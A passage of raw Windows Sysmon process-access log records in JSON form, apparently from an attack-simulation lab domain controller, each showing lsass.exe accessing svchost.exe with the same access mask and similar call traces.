AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5602,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5603,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5604,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.384\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.384","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5605,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.384\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.384","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5606,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.384\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.384","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5607,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5608,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 